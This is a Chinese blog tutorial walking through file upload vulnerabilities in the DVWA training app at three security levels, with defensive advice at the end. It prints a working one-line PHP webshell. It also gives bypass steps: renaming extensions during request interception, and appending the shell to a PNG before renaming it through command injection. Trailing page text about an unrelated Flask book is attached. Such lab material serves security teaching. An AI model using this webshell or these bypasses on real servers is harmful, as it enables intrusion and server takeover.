Web安全系列:文件上传漏洞从入门到精通

一、文件上传漏洞简介

文件上传漏洞(File Upload Vulnerability)是一种常见的 Web 应用程序漏洞,通常存在于需要用户上传文件的应用程序中,如论坛、电子商务网站、博客、社交网站等。

攻击者可以通过该漏洞上传恶意文件到服务器,从而执行各种攻击操作,如执行命令、窃取敏感数据、植入后门等。

文件上传漏洞通常发生的原因多是服务器未正确验证上传文件类型、大小、路径等参数等,攻击者可以利用这些漏洞绕过服务器的限制,上传恶意文件或脚本到服务器。攻击者通过构造文件名或文件内容来绕过服务器的检查。

本文继续以DVWA(Damn Vulnerable Web Application)进行文件上传漏洞的讲解。

在DVWA中的文件上传漏洞是通过一个文件上传页面实现的。攻击者可以在该页面上选择要上传的文件,并在提交表单时将文件类型伪装为其他允许的文件类型,如.jpg、.png等。这样,服务器就会误认为上传的是图片文件,而没有对文件内容进行进一步的验证和过滤。通过这种方式,攻击者可以将恶意脚本文件上传到服务器上,并在上传成功后访问该文件来执行恶意代码。例如,攻击者可以将一个包含后门功能的PHP脚本上传到服务器上,并通过执行该脚本来获取管理员权限或窃取服务器中的敏感数据。

图1-1 网页概念图

二、文件上传Low Level漏洞原理

(1)在DVWA low security 中,可以直接上传webshell.php,对服务器进行控制,webshell.php代码如下,读者在webshell.php上传后可自行用蚁剑连接。

<?php @eval($_POST['shell']);?>

图2-1 蚁剑连接webshell

(2)这里点击View Source直接对上传源码进行分析,文件上传的php源代码如代码1-1所示。

图2-2 View Source Button组件

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

代码 2-1 Low Level php源代码

阅读PHP源代码可以发现:

  • 在第5行代码中定义了文件上传的目标路径,即在DVWA的Web根目录下的hackable/uploads/目录中。

  • 在第6行代码中获取了要上传的文件名,即上传表单中的文件名。

  • 在第19-20行代码中,将上传文件移动到目标路径,如果移动失败,则输出提示信息“Your image was not uploaded.”,否则输出上传成功的提示信息。

总结来说就是:

代码并没有对上传的文件类型、大小、路径等参数进行严格的验证和过滤,这可能会导致文件上传漏洞的产生。 攻击者可以在上传表单中伪造文件类型、修改上传路径等方式来上传恶意文件到服务器上,从而执行各种攻击操作,如执行命令、窃取敏感数据、植入后门等。

三、文件上传Medium Level漏洞原理

(1)继续阅读PHP源代码可以发现:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

代码 3-1 Medium level php源代码

  • 在第9-11行代码中,获取了上传文件的一些基本信息,包括文件名、文件类型和文件大小。

  • 在第14-15行代码中,对上传文件进行了类型和大小的验证。其中,对文件类型的验证要求文件必须为JPEG或PNG格式的图片;对文件大小的验证要求文件大小必须小于100KB。

  • 在第14-29行代码中,如果上传的文件类型和大小满足要求,则将文件移动到目标路径,并输出上传成功的提示信息;如果上传的文件类型和大小不满足要求,则输出提示信息,告知用户无法上传该文件类型。

在上面分析的基础上,可以得出结论。设计一个绕过上传类型(png、jpeg)、大小的文件,上传到服务器,就可以实现木马的上传,方法如下。

(2)将webshell.php 改名为webshell.php.jpg。

(3)点击文件上传,进行抓包分析,然后将webshell.php.jpg更改为webshell.php,如此后端在取文件名字进行保存的时候,便保存为了webshell.php,达到了木马上传的效果。

图3-1 修改文件后缀名

图3-2 蚁剑连接上传的webshell

四、文件上传High Level漏洞原理

(1) 阅读PHP High level源代码可以发现:


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

代码 3-1 Medium level php源代码

阅读源代码可以发现:

  • 在第10-13行代码中,获取了上传文件的一些基本信息,包括文件名、文件扩展名、文件大小和文件临时路径。

  • 在第16-18行代码中,对上传文件进行了类型、大小和内容的验证。其中,对文件类型的验证要求文件必须为JPEG或PNG格式的图片;对文件大小的验证要求文件大小必须小于100KB;对文件内容的验证要求文件内容必须是合法的图片格式。这些验证措施可以有效防止上传恶意文件或脚本文件到服务器上。

  • 在第21-27行代码中,如果上传的文件类型、大小和内容都满足要求,则将文件移动到目标路径,并输出上传成功的提示信息;如果上传的文件类型、大小和内容不满足要求,则输出提示信息,告知用户无法上传该文件类型。

总体来说,通过这段代码的改进,可以有效防止文件上传漏洞的发生,从而保护服务器的安全性。但是,需要注意的是,这段代码仍然存在一些问题,例如上传文件的路径没有进行安全验证,可能会导致目录穿越漏洞的发生。

(2)绕过High level文件长传限制方法如下:

  • 准备一个正常的 JPG 图片,例如 cat.png。

图4-1 cat.png图片

  • 创建一个 PHP Web Shell 文件,例如 webshell.php,内容如下:

<?php @eval($_POST['shell']);?>
  • 使用010editor编辑器打开 cat.png,将上述 PHP 代码复制到文件末尾,并保存文件。

图4-2 cat.jpg加上webshell木马

(3)将 cat.png 重命名 webshell.png,上传此文件到目标 Web 服务器。此时上传的 webshell.png文件无法直接在 URL 上执行,因为它以 png 扩展名上传。

(4)将此文件重命名为 PHP 文件,这个时候需要利用DVWA漏洞命令注入选项,利用漏洞复制webshell.png 并将其重命名为 webshell.php 文件(DVWA漏洞命令注入可以阅读我写的命令注入篇章)。

(5)用蚁剑连接

图4-3 蚁剑连接上传的webshell

五、文件上传安全防护方法

文件上传漏洞可能会导致恶意文件被上传到服务器上,攻击者可以通过这些文件来执行攻击,例如控制服务器或窃取敏感数据。因此,对于任何需要处理文件上传的应用程序来说,实施文件上传安全措施至关重要。下面介绍几种防御措施以避免文件上传漏洞。

  1. 文件类型和大小限制:应该对文件的类型和大小进行限制,以防止上传恶意文件和过大的文件,从而防止应用程序遭受拒绝服务攻击。

  1. 检测上传文件的内容:可以检测上传文件的内容,以防止上传恶意代码。可以使用一些工具来扫描上传的文件,以确保它们不包含恶意代码。

  1. 限制上传文件的目录和文件名:可以限制上传文件的目录和文件名,以防止攻击者上传恶意文件,并且防止目录遍历攻击。

  1. 实现访问控制:可以实现访问控制,以限制哪些用户有权上传文件。可以强制实施强密码策略,例如要求用户使用复杂密码,并定期更改密码等。

  1. 使用加密协议:使用SSL/TLS协议可以加密数据传输,确保上传的数据不会被截取或窃取。建议使用HTTPS来保护数据在传输过程中的安全。

  1. 实现文件上传白名单:实施文件上传白名单可以限制上传文件的来源,只允许从信任的来源上传文件。

  1. 防火墙和安全软件:使用防火墙和安全软件,可以检测并防止未经授权的访问和攻击,保护服务器免受恶意软件和网络攻击。

图5-1 文件上传安全防护

六、附录

环境及工具配置

(1)文章中所使用的工具是DVWA源代码和WNMP环境,其中DVWA是一个专门用于漏洞测试的Web应用程序。

(2)为了测试DVWA中的登录安全认证漏洞,需要执行以下步骤:

  • 安装WNMP环境并启动服务器。

  • 下载和安装DVWA,将其部署到WNMP服务器上。

  • 启动DVWA应用程序,通过Web浏览器访问DVWA网站。

  • 在DVWA中寻找和测试文件上传安全漏洞。

Web安全初学者如果自行搭建本文的测试环境及编写代码存在困难,也可以通过以下github获取相关源码及测试环境。

本文所测试用到的相关源码及测试环境:

Web-PenTest/README.md at main · MasterTaiBai/Web-PenTest · GitHub

成为一名合格的Web安全专业人员需要长时间的学习和实践。只有通过持续的努力,掌握Web安全知识和技能,才能真正成为一个专业的白帽子。

在此祝愿安全爱好者及从业人员都能够取得成功,实现自己的梦想,为网络安全贡献自己的力量!

图6-1 安全黑客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
《Flask Web开发从入门到精通》是一本介绍如何使用Flask来进行Web开发的书籍。Flask是一个基于Python的轻量级Web框架,它简单易学、灵活且功能强大,适用于各种规模的Web开发项目。 这本书从基础概念开始讲解,详细介绍了Flask的工作原理、核心组件和基本用法。读者可以学习如何搭建一个简单的Flask应用,并通过实例了解路由、模板、表单处理、数据库操作等关键知识点。书中还提供了大量的示例代码和实践项目,帮助读者深入理解Flask的各种功能和技术应用。 同时,《Flask Web开发从入门到精通》也从入门到精通的过程,逐步介绍了如何构建复杂的Web应用。读者可以学习如何优化性能、处理用户认证和授权、实现RESTful API等高级技术。此外,书中还对与其他常用工具如数据库、前端框架的集成等进行了探讨。 云盘是指云存储服务,它通过网络为用户提供存储和备份服务。在网络时代,云盘成为了人们共享和传输文件的重要方式。对于Flask Web开发从入门到精通这样的书籍来说,如果有相关的云盘提供,会方便读者获取书籍的各种资源,如代码示例、实例项目、扩展模块等。 利用云盘存储这些资源,读者可以方便地进行下载、备份和共享。此外,云盘还提供了多种访问方式,可以在不同的设备上随时随地进行访问,方便读者在学习过程中的查阅和使用。 总而言之,《Flask Web开发从入门到精通》是一本全面介绍Flask框架的书籍,通过学习这本书,读者可以掌握Flask的基础知识和高级应用技巧。如果提供相应的云盘服务,将对读者的学习和使用带来更多的便利。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值